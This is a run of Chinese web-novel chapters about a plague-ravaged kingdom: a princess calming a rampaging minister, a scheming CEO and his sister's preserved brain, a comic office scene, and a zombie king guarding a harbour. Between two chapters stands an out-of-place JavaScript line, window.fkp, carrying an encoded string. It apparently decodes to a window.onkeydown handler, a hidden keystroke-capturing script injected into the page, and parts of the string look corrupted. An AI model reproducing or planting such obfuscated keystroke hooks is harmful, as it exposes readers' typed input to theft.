此刻,肃清者刚刚用武力镇压住了因核心暴走而失控的胡普。现场遍地都是血肉模糊的士兵与遍地的盔甲与武器的碎片,看起来恶心极了。跪倒在这其中的便是刚刚恢复正常的胡普,她现在神色有些飘渺不定,她的意志正在涣散,她的精神仿佛要崩溃了。泪水从她的眼角缓缓流下,她的手开始颤抖,她开始抽泣,仿佛是在为自己刚刚的失控行为而忏悔。 胡普悲愤交加,哭诉道: “我......我做了什么?我......我的双手怎么沾满了鲜血?是我杀了他们吗?不......不!这不是真的......我......我是那个最关心他们的人,我是......我是堂堂殇王国的右无名指啊!我是王国的人文部部长,是......——不......不......不!我只想让一切好起来而已!我做错了什么?你们......为什么要这么对我。我明明为你们付出了这么多......” 她的精神再也支撑不住了,她用手捂着脸开始痛哭,她的心里很是委屈与难受。她的核心的光芒渐渐变弱,最后黯淡无光。 肃清者: “孩子......” 肃清者缓缓走到了胡普的面前,她将双手放在了胡普的肩上,然后对胡普露出了温柔的笑容。 肃清者安慰她道: “孩子......你尽力了。振作起来,现在还不是放弃的时候。你是人文部的部长,你还有使命没有完成。” 胡普流着泪,委屈着说道: “紫妈......” 肃清者给正在哭泣的胡普一个温柔的拥抱,她知道胡普心里的委屈与难受。胡普在她的怀里哭泣着,她在用泪水向肃清者倾诉着她心中的悲伤与委屈。 胡普很惭愧地说: “对不起......紫妈,我又给你添麻烦了。” 肃清者抿嘴一笑,温柔地说: “没事,孩子......一切会好起来的。现在......请你先好好睡一觉吧。” 胡普的身后出现了一只悬浮手,这只悬浮手对着胡普的后脑勺轻轻地拍了一下,胡普的眼神瞬间变得黯淡失色,她瞬间晕倒在了肃清者的怀里,就跟前几次一样。肃清者用手轻轻地摸了摸胡普的头,她对着自己怀中晕倒过去的胡普露出了温柔的笑容,但很快就转变为了严肃的表情。她看着昏过去的胡普有一种心酸与悲伤,她想帮助这位很年轻的人文部部长,可她能做的也仅仅只有在这个时刻安慰安慰她。此时,阳和阴还有调律者赶了过来。 调律者: “肃清者,这里没事吧?你......没受什么伤吧。” 肃清者: “没事,我自己一个人都解决了。一点伤也没受。” 阳: “胡普她没事吧?” 肃清者: “没事,只是晕过去了而已。” 阳: “呼......没事就好。” 阴: “对了,我们这次又损失了多少士兵?” 肃清者: “大约三十多个。” 调律者: “这样下去可不行!我们王宫内的士兵越来越少了,再这么死下去就没人了。你必须做出正确的决定,肃清者。” 肃清者: “我知道了。阴,先把胡普送到康复中心进行部分记忆清除再加上思维修复,让她先恢复过来。——士兵的事......我会为他们召开一场有关这个问题的会议的。” 阴: “知道了,肃清者。” 阴转头看向阳,说道: “阳,搭把手,我们两个把她送到康复中心去。” 阳: “好。” 说完,阴和阳扶着昏过去的胡普离开了这里,向着康复中心走去。现场只留下了调律者和肃清者二人,以及遍地的尸体。 调律者: “肃清者,我知道你心里有许多的不愿意。但是为了这个已经支离破碎的王国,请你做出一些正确的决定吧,不要想你的父亲那样犯下许多错误。” 说完,肃清者转身离开了,仅留下肃清者还在原地。 肃清者闭上眼思考,边思考边说: “正确的......决定?我做的难道一直不是正确的吗?——呵,可笑......——也许我从来就没做过错误的决定。我做的一切,都是在挽救这个支离破碎的王国。” 说完,肃清者离开了这里,仅留下一地的尸体。过了一会,皇宫内的清扫人员将这些尸体清理干净了,顺便将周围恢复成了之前的干净的样子,一点血迹与痕迹都没留下,仿佛这些死去的人从未存在过一样。肃清者一人来到了王国最顶上的王座之间,她漫步走向了被两个国王之手所看守的国王身躯。 此时一阵风吹过,王座附近种的那一颗巨大桃树上盛开的桃花随风飘向了她,阵阵花香随风袭向了她,这花香让她忍不住闭着眼静静地深吸了一口气,这一口气让她感到了愉悦与开心;一朵朵的花瓣落在了她的身上,她看了看这些粉红色的花瓣,她试着用手去摸,但是这些花瓣仿佛就跟活着似的故意避开了她的手,可不一会又乖乖地落在了她的手上,就像一个调皮的小精灵。她笑了笑,但很快又不笑了,因为她知道现在没有多少时间去关心这些无关紧要的东西。 此时,她已经走到了王座的之下,坐在王座上的是她亲爱的混蛋父亲殇。现在的殇穿着一身王袍,戴着王冠,嘴里流着口水,坐在王座之上一动不动,就跟一具尸体一样。她伸出手想要触碰国王的身体,可是一层十分强力的护盾挡住了她的手,不让她触碰国王的身体。 铂金左手: “肃清者殿下,你不能触碰国王殿下的身体,这是国王殿下下达的命令。” 黄金右手: “没错,这是命令。请你遵守你父亲的命令,不要触碰你父亲的身躯。” 肃清者: “知道了,国王之手们。——我只是想找父亲大人说几句话而已。” 铂金左手: “殿下,我们不打扰你,你说吧。” 黄金右手: “请原谅我们没法给你和他一个安静的环境,看守国王是我们的使命,我们必须执行命令。” 肃清者: “没事,我能体谅你们。” 肃清者站在王座之前凝视着坐在王座之上闭着眼睛的国王殇,她的心中满是怀念。她静静地看着他父亲那双紧闭着的双眼,她似乎能看出些什么。 肃清者露出微笑,深情地说: “我的父亲,你何时才能回来?——您为何从来不睁开你那双眼睛?您为何在这里一直沉睡?我们的家园已经被疫病肆虐得不成样子!” 肃清者皱紧眉头,表情难看了些许。她继续说: “现在我们的战线在慢慢缩小,无人区的大小正在慢慢增大!我的父亲,您必须赶快回来,不然这个地方终究会被疫病所攻陷的!我即使再强大,我也没办法保护那么多的国民,我们即使全员上阵,也没办法救下所有的人。” 肃清者叹了口气,说: “哎......父亲,您何时才能回来?所有人都在等着您!虽然许多人不信任你,但是仍旧有许多的人还在信任着您。我们王宫上下您所认识的所有人都在等待着您的归来,我们都在等待您。” 最后,肃清者心怀希望,坚定地说: “我的父亲,我相信你一定可以再次为我们带来希望的!您既然可以拯救这里一次,那么您终究可以拯救这个地方第二次。——我的父亲呀,我......肃清者澪,你最疼爱的女儿,这个王国的公主,十个指中的左无名指,这个王国第二强大的人,将在这里一直等候您的归来......待希冀随同你归来,我们的世界将迎来黎明。” 于此同时...... 在碧蓝苍穹的公司总部碧蓝世界大厦之中,碧蓝苍穹正在看着情报部部长杰送来的资料。 杰: “老板,我们确认了。那个跟随伊的不明身份的EcL就是我们亲爱的老混蛋!——现在的他失去了记忆与肉体,已经是个无脑的蠢蛋了。据我们观察,处死他只需要我们派出三级镇压部队,我们压根就不需要动手。” 碧蓝苍穹露出微笑。 碧蓝苍穹: “哦?是吗?” 杰: “千真万确,我们情报部门的侦查技术永远是世界第一。” 碧蓝苍穹: “不......别忘了肌肉记忆这种无敌的东西存在。我相信他的实力可没有退步一丝一毫。毕竟他可是可以一个人打一座城的士兵的存在。” 杰: “那我们怎么办?” 碧蓝苍穹: “静静观察,等待时机。现在我很期待殇会不会帮我们弄到全部的光之碎片,毕竟世界上的打工人那么多......” 杰: “不愧是你......” 碧蓝苍穹: “那啥,你先走吧。我要去跟我的妹妹聊一聊天了。” 杰: “好。那我先走了,老板。” 过了一会,碧蓝苍穹来到了他公司内最私密也是最安全的地方,那是RcEd(究极情感能量装置核心)的地方,也是他的妹妹所“生活”的地方。碧蓝苍穹来到了RcEd的面前,他抬头看去,在他眼前的是他的科技结晶,也是存放他妹妹意志的装置。 这是一颗巨大的多边圆柱状的巨型机械装置,装置中部有着一颗充满科技感的巨大机器眼球,这颗机器眼球发着不算太耀眼的黄色光芒,看起来很是帅气;装置的底部是许多根类似于树根一样的很粗的管道,这些管道内运输着一种淡蓝色的不明液体,其作用就是维护核心的活性;装置与天花板的连接处有许多根类似于树枝的粗大管道,管道内运输的是大量的Emd核心能量,其作用就是将核心所产生的核心能量导出。 碧蓝苍穹走到RcEd前面一个操作台上,他用指纹激活了操作台,让操作台之上出现了一个大两个小的全息显示屏,显示屏上有着这个装置的各项数据,以及产出的能量的多少。他按了几下操作台上的键盘,用自己的操作权限将一根可以与人脑连接的数据连接管道调了出来。 碧蓝苍穹: “妹妹,我来看望你了。” 碧蓝苍穹将这根管子直接插在了自己后脑勺处的义体改造后留下的数据口上,然后开始进行数据传输。碧蓝苍穹眼前的场景渐渐扭曲与崩坏,过了一会他眼前REcd的外壳开始破碎,最后露出了它真实的样貌。那是一个巨大的液体储罐,储罐内是一种蓝黄相间的液体与一颗人脑,这颗人脑之下的神经元已经长到了接近储罐底部的位置,看起来格外的让人毛骨悚然。在这个场景出现在碧蓝苍穹眼前后不到三米一道耀眼的光闪到了他的眼睛,随之就是眼前一黑...... 操作台: “神经元连接建立成功,欢迎来到伊娜的世界。” 碧蓝苍穹的眼前出现了十分美丽的景象,绿油油的田野上鲜花盛开,明媚的阳光照耀大地,一座不大的小房子矗立在原野之中,看起来很有诗情画意。田野之上的花草随着微风摆动,就像一个个跃动的小精灵一样,阵阵花香随风飘向四面八方,花儿在给予着这个世界一份独特的礼物。虽然这些场景很美丽,但是碧蓝苍穹却一一无视了它们。他径直走向那座小房子,走到房子前打开房门,走了进去。屋内只有几件很简单的家具,以及一位在摇椅上坐了许久的这位老熟人。 这位老熟人有着洁白的皮肤与一双炯炯有神的棕色眼睛以及极其标准的五官,一看就是个漂亮的姑娘。她梳着一头垂到后背的棕色蓬松长发,长发之上有着一个很大的灰色的蝴蝶结,看起来很是别致。她身穿一身与之前一模一样的黑色西装,打着一个黑色领带,身披一身皇家科学员的研究员大衣,大衣上有着一个金色的名片,名片之上写的是她的大名。她拿着一本写着加密内容的老式书籍,这本书的封面上有着一朵水仙花,但是这本书却不是一本有关植物的书,而是一本故事书。明媚的阳光透过窗户照在她的身上,她的身影在光的照耀下显得格外的美丽。无论是生前还是死后的成像,她永远是那么的美丽,让人看到后仿佛就能见到光明。 碧蓝苍穹露出微笑,用温柔的语气问伊娜: “妹妹,我来了。最近......好吗?” 伊娜闭上眼睛露出微笑,轻声回答: “还好。” 碧蓝苍穹瞬间变脸,笑容消失得如子弹飞过般快速。碧蓝苍穹直接了当地说: “妹妹,我就不扯什么题外话了。我来这里只有一个目的......请你告诉我有关光之种子的一切!我想要知道那一切......” 伊娜皱眉,又摇摇头,说: “不,我不会告诉你任何有关光之种子的信息。” 碧蓝苍穹瞬间变脸,再次露出微笑。碧蓝苍穹用平和的语气问: “妹妹,告诉我吧。我可是你最信任的人,你完全有理由相信我。” 伊娜很不信地说: “你真的这么确定吗?我的哥哥。” 碧蓝苍穹微笑着强调: “我确定。你绝对可以相信我的!我可是你亲爱的哥哥。” 伊娜摇摇头,说: “不,我现在已经不相信你了!” 碧蓝苍穹追问: “为什么?” 伊娜闭上眼睛,将脑袋扭向一旁,不屑于去看她哥哥碧蓝苍穹。伊娜冷冷地说: “你自己知道。” 碧蓝苍穹一听,赶忙用以理服人的方式来改变伊娜此刻固执的想法。碧蓝苍穹义正严词地说: “妹妹,你要知道。我做的一切都是为了我们共同的梦想,拯救这个已经因疫病所腐朽的世界。” 伊娜听后有些生气,她说: “少用这套说辞!你别以为我不知道你所做的一切坏事!你甚至拿我的女儿做实验!而且甚至不惜杀死她来回收实验的成果!就你这样的伪君子,让我怎么相信?” 碧蓝苍穹笑笑,说: “我的妹妹啊,你还是太单纯了。” 碧蓝苍穹的笑容变得阴森起来。 “毕竟只要达到了目的,谁会在乎谁为此牺牲呢?到时候我们都是拯救这世界的英雄,每个人都会感谢我们的。” 这一句话让伊娜更加生气了些许,她冲碧蓝苍穹大声说道: “哥哥......你这样是无意义的!你只会让痛苦来得更加猛烈!” 碧蓝苍穹仍是一成不变的微笑。碧蓝苍穹一脸得意地对伊娜说: “别生气呀,我的妹妹。即使你生气了又有什么用呢?你现在只是一个罐中之脑罢了,根本没有任何行动能力。” 碧蓝苍穹笑了笑,冷冷地说: “你就等着吧,我会让你看到大疫病消失之后的美丽世界的。而你的女儿......我会尽量让她活下来的。如果有特殊情况,那么只好请你的女儿做一个牺牲品了。” 伊娜听后十分生气。她气得脸通红,手发抖,就差下了椅子将碧蓝苍穹轰出屋子了。伊娜生气地说: “你!你你你!你这个不可救药的混蛋!给我滚!我不想看到你!” 碧蓝苍穹一脸笑意昂扬地说: “别生气,我们还可以......交谈一会。” 伊娜生气到了极点,她对碧蓝苍穹大声喊道: “哼啊!滚出去,谁想跟你这个坏到骨子里的家伙交谈?!!滚!滚滚滚!” 伊娜气得直接从摇椅上下来把碧蓝苍穹推出了这个房子。 到了门外,碧蓝苍穹仍是微笑的样子,那一成不变的微笑更加激怒了伊娜。 “妹妹,我觉得我们......” “哼!你这个混蛋!滚!” 伊娜对碧蓝苍穹竖了个中指,然后用力一把把门关死。咚的一声,碧蓝苍穹被拒之门外。 碧蓝苍穹无奈而沉默。 “......” 见到自己的妹妹这样,碧蓝苍穹只好很无奈地离开了这里,等他妹妹消气了,他就可以回来再找她进行谈话。他调出控制台,用熟练地手法紧接着调出了指令表,接着复制了撤离该区域的指令,然后输进控制台,最后按下回车启动了撤离程序。 此刻伊娜正在那栋小房子的窗口看着这一切,在看到碧蓝苍穹消失之后,她露出了一种怪异且阴森的笑容。她的身后出现了许多的淡蓝色发光线条,这些线条在她的身后编制出了一张大网,在这张大网之上有着许多发着淡蓝色光芒的心形物体。她转身走向这张大网,边走边对这张大网伸出了自己的右手。这些心形物体开始像繁星一样闪烁,紧接着一个黑色的扭曲物质出现在这张大网上。这团黑色物质蠕动着,扭曲着自己,看起来似乎是个活着的东西。过了一会,一个身穿黑色大衣的皇家科学员从这团物质之中走了出来。这个皇家科学员的周围出现了阵阵扭曲,同时他的样子时而模糊时而清晰。这个皇家科学员看着伊娜露出了笑容,伊娜看着他也露出了笑容。 伊娜: “老朋友,他走了。现在我们两个可以好好谈谈我们之间的合作了。——请你务必帮助我获得肉体,让我重回这个世界。我绝对不能放任我的混蛋哥哥不管!” x: “我可以帮助你让你挣脱束缚,让你获得肉体,让你成为你所谓的世界之子,但是有个条件。你必须在你离开这个监狱后找到我的大脑,并让其彻底死亡!” 伊娜: “可以。但是......你为什么要这么做?你这样无异于是自杀!” x: “你不懂,朋友。只有束缚我的枷锁破裂,我才能真正获得自由。那样我才能实现我的计划......” 伊娜: “计划?” x: “对。为了让你这个背信弃义的哥哥付出代价。我的肉体死了,他的公司将会迎来一场浩劫。我的价值超乎你的想象!到时候,他在很长一段时间就会陷入一场为他准备的战争之中。” 伊娜: “我知道了。我会照做的。” 与此同时...... 在碧蓝苍穹的办公室外的走廊之中,战斗及安保部部长铁锤·奥斯卡、财务部部长摩登、制造部部长柳炎炎、科技部部长戴达斯与维修部部长柳冰冰正准备和碧蓝苍穹拉来的新合作伙伴傀儡师一起进去找碧蓝苍穹商议接下来的行动。就在他们一行人走到碧蓝苍穹的办公室前时,走在最前面的柳炎炎听到了一些奇怪的声音,他快步走到碧蓝苍穹的办公室门前仔细聆听了一下。 “Never gonna give you up~” 柳炎炎疑惑地说: “这是什么声音?” 柳冰冰好奇地问: “哥哥,怎么了?” 柳炎炎解释道: “我听到了一些奇怪的声音,听起来就跟齿轮正在碾碎冰淇淋一样糟糕。” 铁锤也好奇地问: “声音?什么声音?” 铁锤走到了柳炎炎的身旁仔细聆听了一下。 “Never gonna make you cry~Never gonna say goodbye~” 铁锤听到这颇具风格的歌声,忍不住吐槽道: “这是什么声音?听起来就像那个街溜子唱的垃圾歌曲似的。” 一旁的摩登很严肃地说: “先别管这声音了,我们先进去找老板谈事吧。毕竟老板说了任务是第一位的......” 铁锤点点头,说: “好吧。我们进去。” 铁锤缓缓打开了碧蓝苍穹办公室的门,就在他看清屋内景象的那个瞬间,他瞬间瞪大了眼睛,他很是惊讶,他有些不敢相信眼前的景象。他缓缓关上了门,握着门把手思考了一会。 戴达斯见了,好奇地问道: “怎么了?你怎么把门关上了?” 铁锤神色有些慌张地说: “额......这个......不好说啊。” 柳冰冰担心道: “是不是老板出了什么事?” 铁锤回答道: “不是。” 柳炎炎追问道: “那是因为什么?” 铁锤面色难看地说: “这个......” 此刻人文部部长拿着很厚的资料向着众人走了过来,她十分不解地看着堵在碧蓝苍穹办公室门口的众人。于是,猩红伯爵好奇地问道: “你们在干什么呢?堵在门口干什么?” 铁锤惊讶地说: “红姐,你怎么来了?” 猩红伯爵穿过众人,推开握着门把手的铁锤。 “别堵在门口!” 猩红伯爵露出严肃的表情,一脸战意浓重的样子。见她如此,一旁的部长们选择驻足静静去看。 猩红伯爵握住门把手准备推门进去,铁锤见此,回想到自己从门后看到一切,于是赶忙劝告猩红伯爵。 “姐!别开门......” 还没等他说完,猩红伯爵已经打开了门。她低头看了看手里的资料,确认一下自己没拿错资料。 猩红伯爵露出微笑,轻声说道: “老板,我......” 她抬头看向屋内,下一秒她瞪大了眼睛,整个人都定在了原地。她旁边的人见此也好奇地凑了过去,看向了办公室内,他们的表情也跟她一样,都是惊讶。只见屋内黑漆漆的,只有中心有一处灯光,碧蓝苍穹就在灯光下手舞足蹈地围着一个麦克风唱着一首英文情歌,他此刻看起来就像一个站在舞台上的歌手。 碧蓝苍穹: “we've known each other for so long~Your heart's aching but~You are too shy to say it~” 猩红伯爵: “?” 猩红伯爵把门关上了,然后又打开门。 碧蓝苍穹: “Inside we both know what's been going on~” 猩红伯爵: “??” 猩红伯爵把门关上,然后又打开了门。 碧蓝苍穹: “we know the game and we're gonna play it~” 猩红伯爵: “???!” 她又开关了一次门,她眼前的景象还是之前那样。 碧蓝苍穹: “I just wanna tell you how I'm feeling~” 猩红伯爵惊呼道: “这......这他妈的是什么鬼?!” 猩红伯爵看着手舞足蹈的老板陷入了沉思,她的世界观在这个时刻崩塌了,过一会又慢慢重组起来。 戴达斯: “我们......是不是该叫停老板?” 摩登: “最好是别叫停。” 柳冰冰: “那我们现在该做什么?” 铁锤: “假装没看到吧。” 这时,一旁柳炎炎小声提醒猩红伯爵: “红姐,把门关上。” 猩红伯爵关上了门,呆呆地站在门前思考了一会。她现在正在说服自己刚刚看到的一切不是真的,她没办法接受自己的老板是个这样的沙雕。一旁的部长们也同她一样思考,他们的老板怎会有奇葩的一面? 傀儡师见到这样奇葩的场景,不由得调侃道: “想不到你们的老板竟然有这样的癖好......而且唱歌还跑调。” 与此同时...... 在青兰国的离港码头上,一个全身有小部分腐烂的国王僵尸正在以一个很霸气地姿势靠着灯塔外墙睡觉。此刻一声震天响的雷声吵醒了他,他站起身来看了看天,天空中乌云密布,电闪雷鸣,可见风暴已经到来了。淅淅沥沥的雨点打在他的身上,阵阵狂风吹过他的身旁,这让他不禁哆嗦了一下。他拿起了地上的海王三叉戟,迈着急促的步伐来到了灯塔上观望着远方。 此刻海面上升起了迷雾,这些迷雾使得他看不清远处的景象。要是正常人早就放弃观望了,可他不是一个正常人,他是一个死而复生的僵尸国王。他用自己因为核心感染而变异的发光左眼定睛看向远方,透过迷雾,只见一艘不大的渔船正在风暴之中前进着,看样子是想要登岛的逃难者。 海王: “看样子......船要靠岸了。我作为这里曾经的王,现在的守护者,我务必要去帮助这些外来者成功登岛,不然他们很可能葬身与风暴之中。” 他握紧了手中的海王三叉戟,用力锤了一下地面,三叉戟上瞬间出现了不断跃动的闪电,就跟传说之中的海神的三叉戟一样。他高举这根三叉戟,让这根三叉戟成为一根吸引闪电的避雷针。就在他举起三叉戟的瞬间,一道闪电精确无误地劈在了他的三叉戟上。这道闪电随后变成了闪烁的信标,指引着迷雾之中未靠港的渔船靠港。 狂风呼啸着,暴雨倾盆而下,一场规模巨大的风暴袭击了这个本就不幸的国家。昔日的此时,是各种码头最热闹与忙碌的时候,在内海打渔的渔夫要争分夺秒回到安全的港口以来保住自己的船与自己船上人员的性命;在港口的渔夫们要将渔船拖到了最安全的地方,以防止自己的船毁灭在这风暴之中;码头上人来人往,渔民们相互帮助,让自己与别人的船都能安全。可现在,船还在,但是人却一一消失了。 喧闹随着这场大疫灾的到来而消失了,留下的只有令人毛骨悚然的寂静。 这位孤独的国王兼守护者一直在守护自己的国家,那怕这里已经沦为了荒芜之地,那怕这里也不再有人居住与存在,只要他还在,他就会一直看守自己的国家,直到自己死去,这份执念是死亡也夺不走的。他生前是个与殖民者战斗的英雄,死了也依旧是个守护家园的英雄。他仍然相信他的国家之中还有幸存者,青兰国的血脉仍未断绝,因为他曾经安全护送过许多幸存者离开他们曾生活的美丽家园。他坚信这里仍然还有人幸存,他从未放弃过守护这里,这就是为什么他还在港口苦苦守候的缘故。 海王: “迷路的人们啊!我是这个国家的守护者,如果你们看得到灯塔的光芒,就来到我这里吧,我会护送你们离开这里的!” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 青兰国—第一话:非正常登陆 此刻,伊的眼前是无尽的黑暗与令人冷汗直流的怪诞寂静。伊看了看周围,发现这周围除了黑暗以外什么都没有。伊大声呼喊,但是回应她的只有无尽的黑暗。她在这黑暗之中迷茫地走来走去,她试着在这黑暗之中寻找到光明,她试着然自己的核心像之前一样发光,但她的核心却迟迟没发出一丝的光芒。这让她开始感觉有些害怕,她的灵魂在此刻开始颤抖。 ???: “哦?是你啊。” 伊: “你......你是谁?出来,别藏在黑暗之中。” 伊的灵魂渐渐变灰,她的核心能量正在衰竭。 ???: “我?你现在不需要知道我的身份......你只需要我一直在帮助你就行。” 伊的胸口突然痛了起来,她下意识用手捂着胸口。 伊: “这......这是......怎么回事?我的胸口......好疼......是什么刺穿了我的心脏吗?” ???: “不......是黑暗在吞噬你心中的光明。” 伊疼得直接跪倒在了地上,她的灵魂出现了裂痕,她的嘴角缓缓流出了鲜血。 伊: “啊......这......这是什么?为什么......好难受......” ???: “哦......不,你马上就要死去了。又或者说......你马上就要活过来了呢?” 伊: “你在......说些什么?” ???: “你很快就会明白的......” 伊的眼前开始扭曲,现实与幻境开始在她的眼前闪烁。在闪烁的瞬间,她看到了那个站在自己面前的黑影的样子,她长得就跟自己一模一样,她们两个在穿着打扮上有着很大的区别,一个身穿一身全身洁白的连体衣,一个身穿一身发着淡蓝色光芒的战衣。 伊: “你......你是我?” ???: “不,我是穿越者。记住我的名字,我们以后会在现实中见一面的。” 现实与幻境的闪烁频率越来越快,她眼前的场景很快完全变成了现实。她的眼前是透光的海面,在缓缓下沉的无数的船体碎块,一张被撕得四分五裂的渔网与无视的小气泡。她此刻正在海中向着海底缓缓下沉,她想要挣扎,但她根本不会游泳,她做的也只是无用的挣扎。她能感到海水正在涌进自己的肺部,那种感觉无比的难受与痛苦,就好像体内被灌进了水泥一样。 伊的心中: “好......好难受......我......我这是要死了吗?看样子......止步于此了。” 她肺部中仅有的氧气正在飞速流逝,她的呼吸停止了,她眼前的景象渐渐模糊,最后完全变成了黑暗。她在黑暗之中迷茫着,苦恼着,她静静地感受着自己生命的流逝,静静地感受着死亡的感觉。不知过了多久,一阵久违的剧痛袭来,她立刻捂住了胸口来缓解疼痛。这次不一样,她的胸口发出了光芒,那久违的光芒重新回到了她的身边,这让她还在害怕着的那颗心慢慢变得勇敢起来。这时,她感觉到了自己的心脏突然开始跳动,她能感觉到自己体内的血液开始了流动,她能感受在自己还活着的感觉。她的眼前再次变为了黑暗,这次的黑暗不再寂静,黑暗之中传出了她心脏跳动的声音。 当她再次睁开眼睛的时候,她的眼前很是模糊,她能看到马婷婷正在按压她的胸口给她做心肺复苏,看着马婷婷模糊的身影,她能感觉到有一种久违的温暖。她的耳旁传来了马婷婷模糊不清的呼喊声与狂风呼啸声以及雨点打在地面上的声音,她在听到声音之后在心里暗暗自喜,能听到声音就证明她还活着,能活着对她来说就是一件很幸福的事了。她刚想说些什么,突然一种恶心的感觉涌上心头,她直接一口把肚子与肺里的海水全部吐了出来,那种感觉她想她一辈子也忘不了的。在吐完之后,她瞬间感觉舒畅了许多,她的视角也随之渐渐清晰起来,她的听觉也随之渐渐恢复。 伊刚清醒过来,就听到了马婷婷激动的声音。 马婷婷: “伊!” 马婷婷一把抱住了刚刚缓过来的伊,伊看向紧紧抱着自己的马婷婷,她注意到马婷婷的眼角有着激动的泪水,她的脸上洋溢着笑容,看样子是十分担心伊。 马婷婷: “伊.....还好你没事,你差点吓死我了!我还以为你死了呢。” 伊咳嗽了几声,咳出肺里的海水。 伊: “咳咳咳......” 紧接着伊露出微笑,坚强地安慰马婷婷。 伊: “我没事,马婷婷。我的命可硬着呢。感谢你救了我的命。” 马婷婷随即露出一脸傲娇的样子,似乎想跟伊撒撒娇。 马婷婷: “别说什么谢谢!你可不许死了!听到了没有!” 伊: “听到了。” 天真无邪的笑容洋溢在马婷婷脸上。 马婷婷: “活着就好。” 伊此刻突然回想起了殇,接着记忆如潮水一样涌回了她的大脑。她回想起了那场掀翻她们的船的那场大风暴,又回想起了自己落入海中时的景象,最后回想起了幻境中那个长得跟自己一模一样却要自称为穿越者的人。 伊转头看了看周围,她发现周围是一片荒芜的沙滩,沙滩之上有着许多坏掉的渔船与端掉的树木,看起来这里被大风暴肆虐地不成样子。伊推测,那些船很可能是有人试着逃离这座岛,但是后来因为种种原因失败了,所以才留下了这么多的废弃船只。整个天都是灰沉沉的,云层之中电闪雷鸣,看起来是一场不小的暴风雨。狂风呼啸着,周围的各种渔网与树叶被吹得都快飞了起来。在这阵风的作用下,倾盆而下的暴雨形成了一股特别的浪潮,一股由雨点组成的空中浪潮。远处有着一丝亮光,但是因为海面上升起的大雾,她没能看清那道光所发出的地方的样子。她看了一圈,周围的各种东西尽收眼底,可就是没有看到殇的影子。 伊: “马婷婷,你看到殇了吗?” 马婷婷: “殇?我从海边醒来的时候就看到了你一个人,那时候我没管那么多就先救你了,所以我也不知道他现在在哪里。” 伊: “你先把我扶起来,我们找一下他。” 马婷婷: “好。” 马婷婷松开了抱着伊的手,她把伊从地上扶了起来。伊的衣服上沾染了许多的泥巴与一些污渍,看起来很脏。马婷婷的衣服也是同样的情况,对比马婷婷衣服来说,伊的衣服算是干净的了。两人虽然看到了各种身上的污渍,但是两人依据现在的情况都没指出这个问题。伊在被马婷婷扶起来后简单活动了一下自己的身体,她现在还是具有完全的行动能力的,她并没有因为那场浩劫而失去她的行动能力,她为此感到了庆幸。两人在她们醒来的地点搜了一圈,除了那些废弃的船只以及里面那些没法用语言形容的尸体以外,两人均一无所获。 马婷婷: “诶?奇了怪了,他人去哪了?找遍这里什么也没找到啊。” 伊: “再找找,应该可以找得到。” 马婷婷露出不安的神情。 马婷婷: “伊,你说他会不会......” 听马婷婷这么一说,她心里也有些不安。 伊: “找找吧,我相信他那么强的一个大活人是不能死的。” 说出这句话的时候,伊心里也没底。但她相信希望,相信殇绝不会就这么不明不白地死去。 马婷婷点点头,说: “嗯。” 两人继续在这个沙滩上寻找殇的身影,可两人找了半天,依旧是不见殇的踪影。两人找着找着找累了,便找了个大船的遗骸靠着休息。伊和马婷婷喘着粗气,些许疲累爬上她们的脊背。 马婷婷: “呼......呼......你说,他是不是真的死在......呼......死在海里了?” 伊: “不......不可能的,像我这么弱小的人都活下来了......他......呼......他怎么可能死呢?” 马婷婷: “呼......要不我们先别找了......也许他被冲到了另一个滩头呢?” 伊: “呼......呼......说的也对,我们先去其他地方看看......也许殇真的就在其他地方呢。” 马婷婷: “好。” 就在两人缓缓起身的这个时候,她们前方的树林之中突然传来了异响,她们两个见此立刻警觉地盯着这片森林。马婷婷拿出了腰间别着的两把割草镰刀,做好了战斗的准备。 马婷婷: “小心点!我们可能遇到硬茬了。” 伊听到这话不安,同时后退了几步。她后退的这几步碰到了地上的一根潮湿的木棍,她转头看向了这根木棍,她没管三七二十一直接抄起这根木棍当做了防身的武器。虽然她知道这根木棍起不了什么作用,但是拿着起码有点依靠。 此刻空气凝固住了,气氛变得严肃紧张起来。她们两个死死地盯着发出异响的地方,很怕突然从树林之中杀出什么强大的怪物。就在这个时候,有一只绿色的爪子从树林中伸了出来,这根爪子看起来就跟皮包骨没什么区别,再加上它还是绿色的,这让这两个见过世面的人立马就认出来了这是变异感染者的手臂。 马婷婷全身冒出冷汗,她开始紧张起来。 马婷婷: “不好!是感染者!” 伊大惊失色。 伊: “啊?那......那怎么办?” 马婷婷此刻沉着冷静,像个老练的猎手一样。 马婷婷: “先看看对方的数量,要是不多,我一个人就可以解决。要说数量多的话......我们两个只能自求多福了。” 伊不安地咽了咽口水,她很紧张地看着这只伸出来的爪子,此刻她的心已经提到了嗓子眼,她害怕极了,很怕自己会丧命于这些感染者的口中。 伊: “现在我才知道殇有多重要啊。” 马婷婷: “先别说闲话了,做好战斗或逃跑的准备吧。” 马婷婷在此刻格外的沉着冷静,仿佛是一位老练的战士,这种状态不像是她这个年纪该有的。伊望着马婷婷的身影,她仿佛看到了一个有着丰富经验的老猎人,而不是一个年龄尚小的小姑娘。伊不禁心中慨叹起来,她这个快三十的大人竟然没有一个孩子勇敢与强大,这令她很是羞愧,她有点怀疑自己这一辈子是不是白活了。此刻她终于明白了为什么民间会有一句“无人与凤岭区才是人才辈出的圣地”的俗语了。 这时,那只伸出来的绿色爪子突然被拖进了树林之中,下一秒这个爪子就消失的无影无踪。过了一会,一只体型庞大的变异野兽从树林之中冲了出来。这只野兽全身都是暗红色,而且全身长着一种奇怪的小刺,看起来令人感到不适;它的嘴角有着大片鲜血,一看就是刚刚进食过食物。马婷婷和伊十分警觉地看着这个野兽,这个野兽也十分警觉地看着马婷婷和伊。看着这个野兽,两人心中不禁开始害怕起来,因为她们明白这种体型的怪物杀死她们轻而易举。这个野兽对着两人露出了獠牙,同时发出了有着不明意义的低沉吼声,似乎是在警告她们。 伊很害怕地说: “马婷婷......我们该怎么办?” 马婷婷故作镇定地说: “先看看这个家伙想要做什么,实在不行我们两个就跑吧。” 